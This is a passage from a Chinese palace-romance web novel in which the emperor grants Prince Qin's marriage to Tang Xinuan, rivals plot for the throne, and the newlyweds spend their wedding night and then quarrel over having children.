二爷应该是可怜她无父无母是个孤儿，才会多加照顾。” 皇上也有一颗八卦心，“那你瞧着，老二喜不喜欢他？” 魏公公抓了把脑袋，“这老奴可瞧不出来，二郎心思深，原来大家都说他喜欢楚三小姐，后来皇后做主，把楚三小姐嫁给三爷了，二爷因为这事还和三爷大吵一顿。 老奴猜着，二爷可能是想用唐姑娘拿捏楚三小姐。” 皇上有自己的判断，“要朕说，你猜的不对，老二一准喜欢这个唐姑娘。” 魏公公提着小心提议道：“皇上，二爷昨天也太放肆了，竟然敢在宫里行凶，老奴觉得，管他喜不喜欢，就把唐姑娘赐给他做秦王妃，让他娶个傻子，给他点教训。” 皇上心有犹豫。 “老二确实过分了，不过你说的有道理，既然他表现出喜欢唐姑娘的样子，那朕就成全他。” 魏公公眼看着皇上命人拟旨，这颗老父亲之心终于感到欣慰了。 原本他假意投靠皇后，为的也是皇后那份懿旨。 不过在计划将要开始前，周川行忽然叫停。 原来周川行的计划是，做出兄弟夺妻的假象，皇后想从中渔利，由魏公公引导皇后下懿旨赐婚给端王。 再让皇后给他赐婚一个傻子。 不过周川行担心坏了唐兮暖的名声，舍不得她一直以傻子的形象生活，是以停止计划。 今天魏公公重新提起来，实在是担心两个苦命鸳鸯不能结为眷侣。 有了皇上这道圣旨，两人的名分再也无人能够质疑。 周川行和唐兮暖都起晚了。 他亲自给小姑娘穿衣服，“多穿点，外边凉，等日头足了，我们出去看红梅。” 唐兮暖由着他伺候自己。 他展开衣袍，她便就着他的手先伸左手，再伸右手，很快将衣服穿好。 两人配合的十分自然，默契。 周川行俯身帮她把带子系好，顺手还将不够平整的衣角整理整齐。 唐兮暖低头看着他笑，眼里仿佛有星星，“二郎，你好聪明，还会系蝴蝶结。” 周川行也笑：“等你嫁给我就知道了，你的二郎什么都会，除了算学。” 唐兮暖不吝夸奖，“那你的算学也比端王好多了，他才是真笨！” 端王一大早赶过来，听到第一句话竟然是自己笨。 “二嫂嫂，你这就过分了啊，我哪里笨，你表妹说我比二哥聪明多了。” 唐兮暖讲别人坏话被本听见，有些尴尬。 她捂着嘴笑，躲在周川行身后，“他怎么忽然过来了，都没人通知。” 端王不高兴了，“之前我可一直住秦王府的，二嫂你这就过分了。” 端王不是自己来的，除了楚衍晴还带了一个外男。 孙卿兆。 周川行见到他怒火中烧，抬腿就给他一脚。 “再敢鼓动唐姑娘做那些乱七八糟的事，看我不拆了你。” 孙卿兆捂着侧腰痛得直皱眉。 看见唐兮暖出来，赶过去求庇护，“唐妹，王爷打我。” 关键时刻，唐兮暖还是能担责任的：“二郎，你别怪他，是我做主炸睿王府的，真出什么事，我给他们偿命。” 反正唐家平反的事被睿王给否了。 她和睿王有不共戴天之仇。 唐家也就剩下她一个，她不怕死。 周川行怕。 当着外人的面，只能闷在肚子里生闷气。 “老三，你把他带进来干什么！” 端王解释道：“我刚来的时候，看见他在吭哧瘪肚爬墙头，被人看见实在不成样子，这才把人带进来。” 周川行冷着脸色问道：“找本王什么事？ 孙卿兆目的很单纯，他恭恭敬敬行拱手礼，“请秦王出山，主持大局。” 周川行不喜欢这些大逆不道的言论，“皇上已经命睿王摄政，这种话以后不要说了。” 孙卿兆不急不躁道：“自从睿王摄政，把您做的那些决策全部否定不说，还将您安排的官员全部停职，右丞相和姚太傅官复原职。 姚岳海那个糊涂蛋竟然任命户部尚书，已经快把半个国库搬他们家去了。 前几天一口气花三十万两银子买了十个花魁。 您好不容易存下那点家底快被折腾干净了。” 周川行怎么可能不心痛，还能保持无动于衷。 他摄政以来，一直捉襟见肘，险些把秦王府搬空为了给大军发粮饷。 这段时间查了不少贪官污吏，好不容易收上些银子。 姚岳海竟然敢花三十万两银子买花魁。 孙卿兆仔仔细细观察着周川行的反应。 见他攥紧拳头很快又松开，心知他根本没有夺位的想法。 可这大周江山如果交给他睿王，撑不了几年就得灭亡。 到时候好不容易得来的太平日子一去不复返，大周朝又得兵戈相见，百姓食不果腹。 摄政王志不在此，他得下一计猛药。 “王爷，唐姑娘和皇后是血仇，如今又炸平睿王府，害死睿王两个没出世的孩子，您不求上进没关系，可没有权力，您护不住唐姑娘。” 第95章 一句“您护不住唐姑娘”触及周川行心口。 望着娇妍软糯的小姑娘,他怎么舍得她受到分毫伤害。 拳头无意识攥紧。 战场杀敌十几年，死在他手里的生命无数，他落得再凄凉的下场都无所谓。 可他若不能给小姑娘庇护,纵有再大的军功，再辉煌的人生，也抵不住小姑娘一句委屈“我怕”。 孙卿兆如此心机的人,刚刚融入世界半年的唐兮暖怎么可能看透。 她只知道二郎不高兴了。 悄悄勾勾他的手指，又拍拍自己腰上挂的玲珑。 “二郎，我有这个，不怕。” 武器再霸道，钢针也有用完的时候。 周川行拢住小姑娘肩膀，怀着沉重的心情挤出一丝笑，“嗯，不怕。” 他确实不能坐以待毙。 谁敢欺负他的小姑娘，他必要其以命陪葬。 皇后、睿王，确实该凉了…… “圣旨到——” 喜公公携圣旨忽然打破王府上空凝结的冷意。 “秦王、唐姑娘,跪下接旨吧。” 周川行拉着唐兮暖一起跪下，手腕上的铁链还没解开,随着他一举一动发出稀里哗啦的响动。 “奉天承运皇帝,诏曰：秦王大逆不道，违抗圣命,忤逆朕心，原该重罚,念其一直在外领兵打仗，劳苦功高，老大不小还没有子嗣，特赐罪臣之女唐兮暖为秦王妃,旨到之日，立刻拜堂成亲，早日诞下子嗣，早日来朕面前受罚。” 老大不小还没有子嗣。 可以说皇上的怨念隔着圣旨都藏不住。 周川行跪在地上，心里飞快地计较着。 小姑娘不能孕育子嗣，皇上的旨意又是等生下子嗣再去他面前受罚。 岂不是说，永远没有受罚那天了。 也就是说，擅杀王太师，囚禁姚太傅和楚世子，“害死”贤妃，“侵犯”两位美人的事都被皇兄轻轻揭过了。 虽然没了亲王待遇，对他来说根本不是什么大事。 皇上赐婚，名正言顺的娶到小姑娘。 皇兄还怪体贴的。 唐兮暖还是第一次听到赐婚圣旨，一时没反应过来。 她悄悄询问周川行，“二郎，这位公公什么意思呀？” 周川行解释道：“皇兄给我们两个赐婚了，让我们现在就办婚礼，从现在开始，我是你夫君了。” “夫君？”唐兮暖喜欢这个称呼，“二郎，那我是你夫人了？” 周川行忍着巨大的狂喜点头，“嗯，我们名正言顺，有名分了。” 喜公公还端着圣旨，“两位，谢恩吧。” 周川行拉着唐兮暖一起谢恩。 喜公公亲手把周川行扶起来，“二爷，婚礼所需一切，马上有人送过来，老奴就在这里祝福二爷琴瑟和谐，百年好合了。” 周川行顺手拉着唐兮暖起来，“多谢喜公公照应，留下来喝杯喜酒吧。” 喜公公还要回去复命，“喜酒就算了，皇上还在等着老奴。” 周川行命人送上赏银，喜公公高高兴兴准备回宫。 唐兮暖忍不住喊他：“喜公公，二郎手上的链子……” 喜公公爱莫能助，“拴住王爷是皇上下的旨意，皇上没有让老奴取下来……” 唐兮暖心有不悦。 干嘛老绑着二郎！ 周川行却很高兴，“不碍事。” 就知道皇兄对他好，这不连赐婚圣旨都下了。 孙卿兆蛊惑王爷夺嫡即将成功，可一道圣旨下来，眼看着王爷没了心气。 他沉默片刻，提醒道：“王爷，圣旨里写的可是罪臣之女唐姑娘，唐家的谋反案还是没有平反。 难道您希望王府的世子将来顶着罪臣后人t的身份？” 孙卿兆这个担心在周川行心里根本不成立。 小姑娘身子骨弱，孕育不了子嗣。 他们只有自己，没有后代。 不过小姑娘一家不能平反，总归是他没做到。 “暖暖，别急，我会帮岳父一家平反的。” 唐兮暖相信他。 反正王太师和他两个儿子被杀，她心里已经没那么恨了，至于平反，可以慢慢谋划。 “二郎，不急的。” 楚衍晴真心为表姐高兴，“二爷角色进入的真快，都喊岳父了，小妹在这里恭喜表姐和二爷琴瑟和鸣，白头偕老，早生贵子。” 端王比自己被赐婚还开心，“二哥，你终于得偿所愿了。” 圣旨要求旨到之时立刻成亲。 魏公公很快带着婚礼所需一应物品赶过来。 王府上下，布置婚房的布置婚房，准备喜宴的准备喜宴，邀请宾客的邀请宾客，所有人都忙碌起来。 不到两个时辰全部准备妥当。 因为周川行还是戴罪之身，手上的铁链子都没卸。 所邀请宾客不多，算下来还不到三十人。 魏公公特意找钦天监算了吉时。 吉时一到，鞭炮响起，两人在李策的主持下拜堂，正式结为连理。 睿王一天内失去两个孩子，恨不得把周川行千刀万剐。 皇上不光没为他主持公道，竟然还给周川行赐婚。 看来利用贤妃污蔑周川行根本行不通。 是他小瞧了皇上和周川行一母同胞的兄弟情义。 按杨太医的说法，皇上最多只有三五个月的生命，他得尽快让皇后怀上孩子。 就不信皇上愿意将皇位传给兄弟而不传给自己的孩子。 到时候，周川行尾大不掉，不用别人进言，皇上就会主动为自己的孩子铲清道路。 拜完堂，新娘子被送入洞房，周川行留在外边招呼大家喝酒。 不过他一颗心早溜进新房了。 幸福来得太快，他到现在还晕晕乎乎仿佛做梦一般。 “二哥，恭喜你和二嫂喜结连理，”朝栎公主和李征彦端着酒杯一起祝福周川行。 周川行高兴，来者不拒，一仰脖干了杯中酒。 端王也过来凑热闹，“二哥，恭喜恭喜。” 所有人脸上都洋溢着欣慰喜庆的笑容。 朝栎为二哥高兴的同时，忍不住提醒，“二哥还是少喝点，别一会儿洞房里有心无力。” 别人不知道，陶罐却门清，“二爷的酒量无人能敌，这么多年就没有人能灌醉他。” 李策笑道：“酒不自醉人，人自醉，二殿下心想事成了，老臣真心祝贺。” 楚衍晴关心表姐，恭喜完周川行独自去了新房。 表姐并非完璧之身，普通男人尚且无法容忍，周川行身为天潢贵胄…… 所幸大哥当众宣扬出来时周川行并不在场，这种事应该没人跑他面前嚼舌根子。 她只需叮嘱好表姐就行了。 “饿不饿？”楚衍晴进屋后先寒暄几句，说些吉祥话，然后示意小倩出去。 唐兮暖刚吃过东西，一点都不饿。 圣旨下的急，婚礼办得仓促，并没按照正常的婚礼流程进行。 唐兮暖所做的就是在众人的侍奉下换上嫁衣和周川行拜完堂回到新房。 还没有平时出去玩辛苦。 “不饿，表妹，我和二郎成亲了。” 表姐心思单纯，楚衍晴真心为她高兴，“嗯，表姐名正言顺成了秦王妃，二爷有福气娶了表姐这么漂亮的姑娘。” 唐兮暖喜欢听这话，“能嫁给二郎，也是我的福气。” 楚衍晴望着毫无心机的表姐，难免忍不住担心。 “表姐，表妹有几句话想嘱咐你，你一定要记好了。” 唐兮暖咬了一块栗子糕，她坐在床上，晃荡着两脚，乖顺地点点头，“嗯，表妹你说。” 楚衍晴伸手将表姐唇角的糕点渣轻轻擦掉，眼里充满了怜惜。 表姐五岁进府，一家惨死，就活下表姐一个。 那时表姐还什么都不懂，以为只和父母分别一段时间。 谁知道竟是永别。 表姐进府没几年，父亲病重，母亲也是三灾八难的，一门心思又在父亲身上，对表姐疏于照顾。 否则也不会让大哥做出那种禽兽不如之事。 后来家人发现两人关系，虽然气恼，可只要做主给两人定下婚事也能弥补一些。 可大哥竟然从来没想过成亲。 …… “表姐，你今晚和二爷圆房后，二爷可能会检查床单上的落红，到时候你就哭，尽管把责任往大哥身上推，你就说那时你年纪小，什么都不懂，都是大哥哄你的，他如果生气，你就告诉他你不活了，要去九泉之下找父母为你做主。记住了吗？” 唐兮暖听得稀里糊涂，“落红是什么？很重要吗？” 楚衍晴迟疑着点了点头：“对一个女子来说，确实很重要。 它代表着一个女人的贞洁，代表着女人的第一次。 男人都希望女人只有他一个……” 注意到表姐脸色不好，安抚道：“不过你不一样，你是被大哥哄骗走的，这不怪你，二爷他会理解的。” 唐兮暖神色恹恹的，和二郎成亲的喜悦逐渐消失，很快被忐忑和不安所取代。 她有过别的男人，二郎真的会嫌弃她吗？ 楚衍晴握住表姐的手，柔声道：“如果二爷问起，你就说你只有过一次，你是被骗的，明白吗？” 唐兮暖使劲攥紧衣角，点了点头，“明白的。” 眼看时间不早，楚衍晴离开了新房。 只希望周川行珍之重之，能照顾好表姐。 唐兮暖刚才点头是不想表妹担心。 她记得刚离开侯府病倒，被二郎带去太医院，她告诉过二郎，她一共喝过一百九十三碗避子汤。 撒谎只有一次，根本骗不过二郎。 再说她哪会撒谎，能顺顺利利活到现在，已经是老天爷照顾她了。 不过二郎明知道她喝过避子汤，还能和她走到今天，应该是不在意的吧。 “小姐，二爷来了。” 唐兮暖失魂落魄的，忽然听到小倩喊她，吓了一跳。 怎么办？ 怎么办？ 万一圆房后，二郎忽然嫌弃她怎么办？ 她不想见到二郎以后都用那种特别嫌弃和厌恶的眼神看她。 第96章 孙卿兆好不容易激起周川行的斗志,一道赐婚圣旨下来，嗜血成性的野兽温顺的像小绵羊一样。 周川行这边想息事宁人，可某些人是不可能让他如愿的。 王太师和两个儿子被杀,皇后岂能甘休。 睿王府炸平，死了两个没出世的孩子，睿王怎么可能止戈。 再说这皇位之争历来都是你死我活,没有一方喊停另一方就能放过的。 周川行没有争储之心，可他功高震主，手握大权，这就是原罪。 如今唐兮暖虽被封为秦王妃，可仍然无法自保。 孙卿兆发狠，他一定要将她推举到天底下最尊贵的位置上。 孙卿兆打好主意，朝连翘摆了摆手。 连翘不喜欢这个一肚子都是花花肠子的男人，“找我干什么？” 孙卿兆端起酒杯和她碰一下，“连翘姑娘，如今唐姑娘封了秦王妃,你就没点想法？” 连翘保持十二分警惕，“你要干什么？” 孙卿兆笑道：“你就不想做官？” 连翘皱眉：“女人也能做官？” 孙卿兆：“女人怎么就不能做官,端王妃不就做了六品员外郎。” 连翘哼道：“不是被停职了。” 孙卿兆：“等二爷拿回摄政权利,官复原职还不是一句话的事。” 连翘绕不过孙卿兆，“你实话实说吧,你到底想做什么？” 孙卿兆笑了：“当日发话给我吃食的虽然是唐姑娘，可具体带我买衣服的可是你,投桃报李，我也得有所表示才对。” 连翘可不信他如此好心，做出防备姿势道：“你别算计我就行了。” 孙卿兆是个感恩图报的人，算计连翘也是为她好,“我怎么可能算计你，我就是想着，推举你做个殿前指挥将军，威不威风？” 整个皇宫的安全防卫都由殿前指挥使负责，谁做谁威风。 “你跟我开玩笑？” 孙卿兆抿口酒，“我认真的。” 连翘做梦都想像男人一样做官，“说吧，要我做什么？” 孙卿兆耳语道：“唐姑娘只封个王妃，当然提拔不了你，可如果她做了皇后呢？” 这可是大逆不道，连翘吓坏了，先警惕地看一眼四周，随后才压低声音训斥，“你胡说什么！” 孙卿兆瞧不起她这点胆量，“想想从龙之功。” 自古以来，大多女子出人头地全仗男人，靠自己本身的少之又少。 连翘心里是有团火苗的。 除了姐姐，她全家都死在战t火中，如果她能凭自己本事做官，爹娘在九泉之下一定很高兴。 她点了点孙卿兆，“孙大人，你可真会说话。” 孙卿兆勾勾手指，靠近连翘耳语几句。 连翘是个聪明的，很快明白他的意思，“放心吧，这事包在我身上。” 周川行确实没有争储之心，可如果王妃想做皇后呢！ 孙卿兆鼓动完连翘，又走到百合身边，继续鼓动。 “将来连翘肯定能做一位女将军，百合姑娘你再见到她就得行礼了。” 百合和连翘一直有嫌隙，她听到这话特别不服气。 “凭什么她能做将军，我做不了。” 孙卿兆笑道：“因为她识时务啊。” 百合皱眉：“你让她做什么了？” 孙卿兆：“如果你想当将军，孙某倒也不是没办法，只看你有没有这个胆量了。” 百合问道：“你想让我做什么？” 孙卿兆：“把唐兮暖就是寒兮的事情宣扬出去。” 百合不同意：“这会给王妃带来危险。” 孙卿兆：“有你保护她，能有什么危险，再说，你武功这么好，会怕？” 这话说到了百合心坎里。 “我当然不怕。” 孙卿兆：“我这是给你机会，否则我自己也能宣扬。” 百合还是有些担心的，“可是王爷知道会惩罚我。” 孙卿兆拍着胸脯道：“有我在前边顶着你怕什么，真出了事，你只管把我供出来。” …… 周川行一身大红喜服，衬着他格外英俊挺拔。 除了手腕上还挂着铁链，可以说找不出任何缺点。 唐兮暖坐在床边，一眨不眨地瞧着他走近自己，心脏跳的一下比一下激烈。 新娘子打量周川行的时候，周川行也在打量自己的新娘子。 婚礼准备的比较仓促，嫁衣还是宫里送过来的，原为朝栎公主准备的。 不过朝栎出嫁时穿的朝服，这套嫁衣便没用上。 唐兮暖人长得漂亮，穿什么都好看。 周川行盯着她喉咙发紧，移不开眼。 “世上怎么有如此好看的新娘子。” 唐兮暖本就害臊，被他一夸，脸颊红彤彤的都不知道怎么回应他了。 “二郎才是世上最帅气的新郎官。” 周川行把人拉起来，恨不得把人看进自己的一双眼睛里。 “暖暖，喊声夫君听听。” 唐兮暖越发害臊，“非喊不可吗？” 周川行点头：“非喊不可。” 他好不容易名正言顺，可不得多听听小姑娘喊他夫君。 唐兮暖刚才还担心周川行嫌弃她，此刻被他如此温柔炙热的盯着，仿佛一双眼睛只能放下她一个。 所有的紧张和忐忑全部烟消云散。 眼里便也只剩下他一个。 “夫君——” 周川行先是低低而笑，拳头放在唇边，眼底是浓得化不开的笑意。 笑意逐渐放大，到最后笑起来收不住。 “夫人，我有夫人了。” 他拉着唐兮暖站到新房门口，冲着天空高喊：“父皇—— 母后—— 二郎有妻子了，二郎有妻子了。 她是世上最好最好的姑娘。 你们看到了吗？ 二郎的妻子，是世上最好最好的姑娘。 她叫唐兮暖——” 他握着唐兮暖的手越来越紧，仿佛先皇和先皇后都在天上看着他们一般。 这一刻，他是幸福的。 还在主院吃酒的众多宾客，听到周川行的喊声，皆是投过去祝福和羡慕的目光。 端王不由得感慨，“我二哥第一次见到唐姑娘就认定了她，还说他不纳侧妃，要和她一生一世一双人。 那时我还怀疑二哥开玩笑，没想到二哥真的做到了。” 朝栎羡慕道：“我二哥对二嫂可真好。” 李征彦赶紧表态，“征彦今生今世也只有公主一人。” 楚衍晴凉凉的瞥了一眼端王。 端王有心表态，他这辈子也就要楚三小姐一个。 可话到嘴边，偏生不知道怎么说出来。 谁让他以前一直吵着闹着三妻四妾，导致王妃现在都不肯跟他圆房。 “夫人……” 楚衍晴故意装作没听见，去找紫苏说话。 端王默默叹了口气，别等他二哥都抱儿子了，他还没圆房呢。 周川行把新娘子抱回床上。 铁链发出稀里哗啦的响动，唐兮暖忍着笑拿起来给他瞧：“好像有点碍事。” “不怕，”周川行坐到床边，从怀里摸出个细小的铁片很快将铁链打开，放到一旁。 唐兮暖不敢置信地看着他：“你能打开？” 周川行握着她的小手放到唇边亲了亲，“你夫君的能耐可多了，这算什么。” 唐兮暖不解道：“可是你能打开，为什么要忍到现在？” 周川行俯身去亲她的额头，“皇兄赐的，不到万不得已怎么能开。” 唐兮暖笑他：“现在是万不得已？” 周川行：“还有比洞房更急的事情吗！” 话音未落，他含住新娘子的耳唇。 唐兮暖受不住力道，发出嘤咛一声。 直击他的耳鼓，心房。 周川行爱死了她这道娇柔柔软的声音。 故意使坏，继续去贴她的耳唇。 “喊声夫君听听。” 唐兮暖被他亲得耳唇痒痒，绷紧身体躲着他，“二郎，你好坏。” “我不坏，怎么做你夫君。” 唐兮暖第一次发现，她那个看起来有些严肃木讷的二郎竟然也有会说甜言蜜语的一天。 “当初你都不会抱抱呢。” 周川行刚认识小姑娘的时候，确实还未开化。 连怎么和女孩子接触都不懂。 可他进步飞速，如今已经能游刃有余哄小姑娘开心。 “都是女先生教得好。” “油嘴滑舌，”唐兮暖按住他的薄唇，“我可没教你这个。” 此刻唐兮暖躺在红色的锦被上，周川行撑在她身上，垂眸盯着她红润的唇瓣。 “想让我用什么姿势抱你？” 唐兮暖想了想，“你喜欢什么？” 周川行还没想好，“要不都试试……” 唐兮暖怀疑他没说什么正经话。 “只是抱抱？” 周川行低笑，“你以为还有什么？” 唐兮暖不说话了。 周川行低头去吻她柔软的唇瓣，“我家夫人真甜。” 唐兮暖莫名想起表妹的叮嘱。 前天表哥说她失真，这世上再也没有男人会珍惜她。 二郎虽然对她好，可在这种事情上会包容她吗？ 世上没有后悔药，她又不能回到过去阻止自己。 “二郎……” 眼窝涌出一股凉意，顺着眼角垂落。 周川行吓坏了，“我弄疼你了？” 他是武将出身，难免没有轻重，小姑娘娇娇软软的，多半受不住他的力道。 不过他还没开始。 难道是害怕了？ 唐兮暖咬着嘴唇轻轻摇了摇头。 周川行越发着急，“哪里不舒服？我去叫太医……” 他起身要走，却被小姑娘拉住。 “二郎，我……” 有些难以启齿。 周川行耐着性子问：“怎么了？我们已经拜堂了，不管什么事，你都可以跟我说，相信我，我是你相公。” 唐兮暖纠结好一会儿，才在周川行无比担忧的眼神下说出口。 “我已经不是清白之身，你……嫌弃的话，可以当做这次婚礼是演给皇上的，等时过境迁，我……” 虽然舍不得，可周川行在乎，她还是会义无反顾离开。 周川行微眯眸子，眼里控制不住流露出一丝危险气息。 “谁跟你说了什么？” 他的小姑娘足够单纯，心无杂念，不可能忽然生出这种想法。 第97章 武安侯府昨晚灯火通明,一夜未眠。 魏敏娴身受重伤，昏迷不醒，连太医都束手无策。 楚衍诺伤倒不重,可被戳三十五个血窟窿，再加他之前所受之伤，身上已经没有好地方。 又在牢里关了三个多月。 气血两亏,撑到侯府就倒下了。 直到今天傍晚才醒。 侯夫人哭得双眼浮肿，肝肠寸断泣不成声，“儿啊，你和暖暖的缘分尽了，以后还是往前看吧，娘就你这一个儿子，你有个三长两短，娘可怎么活……” 哀莫大于心死。 楚衍诺想到表妹对他绝情的样子，那是他从小养大的小姑娘，怎么能如此对他。 两滴清泪缓缓从眼角处滑落。 他想使劲攥紧心脏,把无法忍受的痛意攥出去，可他实在太累了,手臂抬不起来,竟连自己的心口都接触不到。 脑海里不由得浮现出昨天魏敏娴用身体挡在他身前的情景。 “阿娴，她还好吗？” 提到儿媳妇,侯夫人越发难过，“她还没醒。” “我去看看她,”楚衍诺挣扎着起身，侯夫人扶着他一步一挪花了将近一盏茶的时间才挪到魏敏娴的房间。 魏敏娴因t为失血过多，脸色犹如一张白纸。 此刻昏迷着，静静地躺在床上,只有微弱的呼吸证明她还活着。 魏母这两天已经哭干了眼睛。 看见楚衍诺过来，很想冲上去指责，可她只是魏国公一个小妾，身份碍着，又不敢做出太出格的事。 “阿诺，敏娴她为了你……连命都不要了。 求求你等她好了，待她好些。 她也是我身上掉下来的肉，从小娇养着长这么大，如果她再也醒不过来，我这个做娘的…… 可怎么活……” 楚衍诺站在床边，心里无悲无喜，静静望着床上昏迷的人。 侯夫人擦干眼泪，悲切道：“你上次受伤昏迷不醒，还是敏娴去求了暖暖回来看你，她对你，连千金小姐的尊严都不要了，你但凡有点良心，也不该辜负她的心意。 儿啊，人不能总活在过去里。 刚才王府过来通知，皇上赐婚秦王和暖暖成亲了。 暖暖封了秦王妃，是正妃。 这会拜完天地，应该进洞房了。 暖暖……她永远都不会回来了。” 拜天地，入洞房，封了秦王妃…… 每一个字听在耳朵里都犹如锥心之痛。 如果他当初不执着于她的身份，不执着于想要一个正常的孩子，两个人也不会走到这一步。 一阵天旋地转，他忽然口吐鲜血，直愣愣栽到魏敏娴身上。 一个时辰后，楚衍诺在魏敏娴身边醒过来了。 侯夫人和魏母以及楚衍诺的两个姐姐都跪在门口祈祷老天保佑。 听见楚衍诺醒了，魏母商量道：“侯夫人，不要再提表姑娘刺激姑爷了，他身体不好，受不住。” 侯夫人知道儿子心里有根刺，不拔不出来，他永远正常不了。 “好，我知道了。” 窗外完全黑下去，楚衍诺望着在风里摆动的红灯笼，一颗心仿佛被绳索吊起来般，空落落的落不到实处。 表妹做了秦王的正妃。 有人不嫌弃。 这会两人应该已经行完周公之礼。 表妹彻底不属于他了。 …… 周川行确实在行周公之礼。 念着小姑娘娇气，他本来打算浅尝辄止一次就好。 可这种要了命的感觉，根本克制不住。 然后有了第二次。 小姑娘哭着求他放过，他答应好好的，还是没忍住，又来了一次。 不过他到底还是一个人，不是禽兽。 三次之后意犹未尽的将铁链戴上，这样活动受限，想做什么都无能为力了。 不过只坚持一会，他又把铁链卸下，亲自抱着新婚夫人清洗。 之后两个人干干净净清爽爽的躺到床上。 夫人累得全程都没睁眼，任由他随意摆弄。 躺到床上，滚进他怀里便发出清浅的呼吸声。 第二天，两人都睡到日上三竿。 这是周川行自十三岁以来，第一次睡懒觉。 他看着怀里还在熟睡的小妻子，笑意从心底蔓延，一双眼睛仿佛再也看不进任何东西。 有的只是他的新婚夫人。 昨晚小姑娘问他会不会嫌弃？ 大有他嫌弃，她就会离开的趋势。 气得他凶了小姑娘，把她脖子咬下一个很深的齿痕。 从古至今为什么给女人套那么多枷锁。 和男人发生关系就不纯洁了。 纯属放屁。 他的小姑娘就算八十岁都是纯洁的。 醒来无事，他一边拨弄着小娘子的头发，一边总结。 为什么男人会害怕女人和别人发生关系，从而给女人套上那么多枷锁？ 原因无非有两个。 身份不够，自卑。 本钱不够，自卑。 像他这种要身份有身份，要能力有能力，天赋异禀、体力超强不怕比较的男人，根本不会放在心里。 因为不管小姑娘以前接触过多少男人，他都是最优秀的那个。 小姑娘只要跟了他，绝对不会再想别的男人。 这就是底气！ 当然了，刚开始的时候，他也有些忐忑。 生怕自己输了。 可他从夫人的反应里觉察到，夫人对他是满意的。 而且是十分满意。 所以，他才是夫人的天命之人。 只不过相识晚了，给了楚衍诺机会。 不过楚衍诺彻底成为过去。 再也不会出现在夫人的生命里。 …… “夫君，”这一觉，唐兮暖睡了四个多时辰。 睁开眼睛看见二郎躺在身边，她本就软糯温柔，又是早起的嗓音，听在耳朵里，比刚刚化开的蜂蜜水还要甜腻。 周川行给她盖好被子，盯着她乌黑的鸦羽，轻轻拨弄她的头发。 “睡得好不好？” 唐兮暖握住他的大手放在唇边亲吻，“和二郎一起睡，开心。” 这话听得周川行浑身舒畅。 刚刚开了荤的男人，朝气蓬勃。 身体比什么都诚实。 他贴着夫人的耳朵轻哄。 “还要不要？” 男人声音沙哑又性感，听得唐兮暖浑身颤栗。 “不要了，不要了，腰疼。” 周川行吓她的。 小姑娘养了大半年，丰腴许多。 不过还是要请太医看看，她这身体能不能承受住。 “饿不饿，想吃什么，我吩咐人去做。” 唐兮暖伏在他身上，去咬他凸起的喉结。 “饿了，想吃小包子。” 周川行浑身一凛，痛并享受的闭上眼。 小姑娘可太会了，他这刚开窍的男人还有些应付无力。 “小坏蛋，我看你还不累。” 危险气息袭来，唐兮暖害怕了，连连求饶，“我错了，我错了。” 两个人一直玩闹大半个时辰才起。 周川行先穿好衣服，又把小娘子的衣服一层一层的给她穿好。 “多穿些，吃完饭出去晒太阳。” 唐兮暖什么都不用做，乖的像个小宝宝。 她坐在床边，连靴子都是二郎帮她穿好的。 “二郎，你好会。” 周川行捏了捏她鼻子，“知道就行。” 他又将铁链子戴好。 唐兮暖不解道：“还要戴？” 周川行笑了：“皇兄赏的，得尊重皇兄。” 唐兮暖瘪瘪嘴，“原来这就是尊重。” 厨房一早起来蒸的牛肉包，听说王妃想吃，重新热过端到饭桌上。 唐兮暖咬了一口，满口香汁，她捏起一个新的递到周川行嘴唇，“二郎，你尝尝，可好吃了。” 周川行就着她的手，咬了一口。 “确实不错，谁蒸的包子，赏。” 唐兮暖又喝了一口银耳粥，“这个也好喝。” 周川行：“银耳羹也赏。” 这顿早饭，唐兮暖夸什么，周川行赏什么。 一顿早饭结束，唐兮暖忽然觉察出不对来。 “二郎，你这么大方什么都赏，花的谁的银子？” 周川行忍着笑：“我们夫妻一体，当然是我们两个的。” 唐兮暖心疼坏了，“咱家们王府入不敷出呢。” 周川行忘了告诉她，“国库充盈后，王府拿出去的银子已经收回来大半。” 唐兮暖高兴了，不过还是有一点担心，“那也不能乱花呀，得留着。” 周川行把她唇边沾上的汤汁擦掉，“留那么多银子做什么？” 唐兮暖脱口而出：“当然是养小宝宝啊，我们已经成亲了……” 她抚摸着自己的小腹，白白静静的脸上尽是憧憬，“没准哪天就有小宝宝了。” 她从小没享受过父母亲情，记忆里父母的样子越来越模糊。 也许哪天，她就彻底想不起来他们了。 如今她已经嫁做人妇，当然很希望有个自己的小宝宝，她一定会好好照顾她。 不对，她至少要两个小宝宝，最好一个男孩一个女孩。 她理所当然的畅想着，没注意到周川行神色微变。 “二郎，你喜欢男宝宝还是女宝宝？” 周川行刚接夫人离开侯府时，张太医诊断过，她寒性体质，很难有孕。 扪心自问，他当然喜欢孩子。 父亲英年早逝，他外出打仗，和母亲相处到十三岁，后来只见过几面。 亲情是他生命里永远不能承受之痛。 这也就是皇兄惩罚他，他不愿意反抗的原因。 如果他有了孩子，肯定放在身边亲自教导。 如今太平盛世，不用外出打仗，他相信，他会做一个好父亲。 可夫人身体不好，他便自动斩断这种想法。 今天被问起来，忍着心里苦涩，商量道：“暖暖，其实我们两个生活也很好，没必要要孩子给我们添麻烦。” 孩子是唐兮暖的逆鳞。 周川行以为她离开楚衍诺只是因为他娶了魏家姑娘。 其实是楚衍诺不许她要孩子。 嫌弃她可能会生出个傻子。 此刻听到周川行如此说，她还有什么想不到的。 明明早饭吃得很舒适，可胃里莫名有种不舒服的感觉。 她眼中含泪，满心失望的望着身边的男人。 “所以，你也不许我要孩子吗？你嫌弃我是傻子，生的孩子也是傻子吗？” 第98章 唐兮暖人长得漂亮,眼泪一对一对的往下掉时，有种破碎的残缺美。 周川行哪里想到她说哭就哭，这可把他心疼到了。 “暖暖,”他俯身盯着他的新婚夫人，“我怎么会有那种想法，你误会我了。” 唐兮暖才不觉得自己误会,“你就是嫌弃我，嫌弃我是傻子，也会生个傻子，所以没想过跟我要宝宝，也不许我要宝宝……” 她越说越觉得就是这么回事，忽然起身往外走，“我不跟你过了，你是骗子，坏人，我不要你了。” 才新婚第二天,就被夫人抛弃的周川行，心口比楚衍诺被戳三十五个血窟窿还要痛。 “暖暖,你给我停下,”他三两个大步追上去，把人拉回来。 “就算我错了,你也不能张口就来不跟我过了，我们是皇上赐婚,已经拜过堂，入了洞房，哪能说不过就不过。” 唐兮暖抽抽噎噎地不看他，“皇上赐婚,他是你的皇上，又不是我的，他不给我们唐家平反，也是坏人。 你让他再给你赐婚个聪明的姑娘做王妃。 我是傻子，配不上你……唔……” 周川行快要被自己的新婚夫人气死了。 